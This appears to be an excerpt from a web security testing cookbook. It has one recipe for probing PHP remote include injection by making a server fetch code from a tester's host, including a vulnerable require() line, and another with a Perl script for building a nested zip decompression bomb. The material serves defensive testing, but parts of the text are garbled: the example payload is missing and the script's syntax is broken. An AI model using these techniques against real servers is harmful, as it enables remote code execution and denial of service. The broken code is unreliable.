Multifaceted Tests : Attempting PHP Include File Injection Interactively & Creating Decompression Bombs

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1. Attempting PHP Include File Injection Interactively

1.1. Problem

When PHP Hypertext Processor is used as a server-side scripting engine, an attacker can carry out several types of attacks if the application developer is not careful. One particularly dangerous attack is PHP Include file injection where the attacker can cause the web server to download and run arbitrary code. This test will try to determine whether your application written in PHP will download arbitrary code specified by the attacker and execute it.

1.2. Solution

First, determine whether PHP is being used by the application. One indicator is URLs that reference resources with the extensions php, php3, and php4, for example: If it is not clear whether PHP is being used by the application, you will need to ask the development team.

Example 1. Test input for finding PHP include file injection vulnerability

Of course, host is the hostname or IP address of the web server you set up and port is the port number on which the web server is listening. Then, search the access logs and error logs at host for the string xyzzy_php_test. If the string is in the logs, then the page being tested is trying to retrieve the file from your web server and is vulnerable to PHP injection.

1.3. Discussion

This attack works because the PHP include() and require() functions can read files from the local filesystem as well as from a remote location. If some PHP code in the application takes a variable input by the user and then passes it to include() or require() functions as in the following code, then the user can manipulate the variable in ways that the developer did not intend. Example 2 shows a line of PHP that would be vulnerable to this attack if the $userInput variable is not carefully sanitized before the require() function is called.

Example 2. Sample line of code vulnerable to PHP include file injection
require($userInput . '.php')

The developer may have tried to restrict $userInput by using radio buttons in an HTTP page, for example, but you can of course bypass client-side controls and provide any value you like. Thus, if the attacker provides the string in Section 12.9.2 as the variable $userInput, then the code will attempt to fetch the file http://

/xyzzy_php_test.php and will execute the PHP code in the retrieved file.

Note that PHP code may retrieve values of GET or POST variables or even HTTP cookie values and use them in the manner discussed earlier. Modifying GET values can be accomplished simply by modifying the URL.

There are many other types of PHP injection attacks, but they are less common, and are not discussed here. A Google search for “PHP injection” will reveal the other types of PHP injection attacks.

2. Creating Decompression Bombs

2.1. Problem

A decompression bomb is a compressed file that is very small but expands to a disproportionately large amount of data. This recipe will discuss how such decompression bombs can be created. If your application processes compressed files (.zip, .jar, .tar.gz, .tar.bz2, etc.), you can use this recipe to generate pathological compressed files that can be used to ensure that your application handles such malicious input gracefully.

2.2. Solution

The program in Example 3 will generate a zip of death . You can substitute other compression utilities instead of zip to create other types of decompression bombs (e.g., bzip2).

Example 3. Perl script to create decompression bomb

use File::Copy;

$width = 17;
$depth = 6;
$tempdir = '/tmp/dec_bomb';
$filename = '0.txt';
$zipfile = '';

chdir($tempdir) or die "unable to change directory to $tempdir $!";;

sub createInitialFile {
my $file = $filename;
my $i = 0;
open FILE, ">$file" or die "unable to open $file $!";
# The largest file that current versions of 'zip' will compress is 4GB (minus 1 byte)
for ($i = 0; $i < (1024*4)-1; $i++) {
print FILE '1'x1048576;
print FILE '1'x1048575;
close FILE;
`zip -rmj9 $ $filename`

sub createDecompressionBomb {
my $d = 0;
my $w = 0;
for ($d = $depth; $d > 0; $d--) {
if ($d < $depth) {
`zip -rmj9 $ *.zip`;
for ($w = 1; $w < $width; $w++) {
copy($d . '', $d . '-' . $w . '.zip') or die "unable to copy file $!";

`zip -rmj9 $zipfile *.zip`;

2.3. Discussion

You can easily create decompression bombs of arbitrary sizes even if you do not have that amount of storage available yourself. This script only requires sufficient storage for one file of size 4 gigabytes, as well as one file of size 4 megabytes while it runs, whereas if one were to decompress the entire archive, it would decompress to 96,550 terabytes. That ought to be sufficient to fill up the disk space on any server.

You should be careful about where you create the decompression bomb. Since it is meant to crash programs such as virus scanners, you can easily crash such programs on your own system and maybe even make your system unresponsive. You should obviously not try to decompress the file yourself.

The script in Example 3 takes a few minutes to run with the given $depth and $width. Be careful about increasing the values; the size of the decompression bomb increases very quickly. Since the default values will fill up the disk space on any server if the archive is fully extracted, it should not be necessary to increase these values. It would be more beneficial to reduce the values to say $depth=5 and $width=2 to create an archive that would expand to 128 gigabytes. On a server with more than 128 gigabytes of available disk space, that will ensure that if your application is vulnerable to decompression bomb attacks, it will slow to a crawl, but will not crash. Thus, the test will be less destructive.

If upon uploading a decompression bomb the application slows to a crawl or becomes unresponsive, it fails the test and is vulnerable to decompression bomb attacks.
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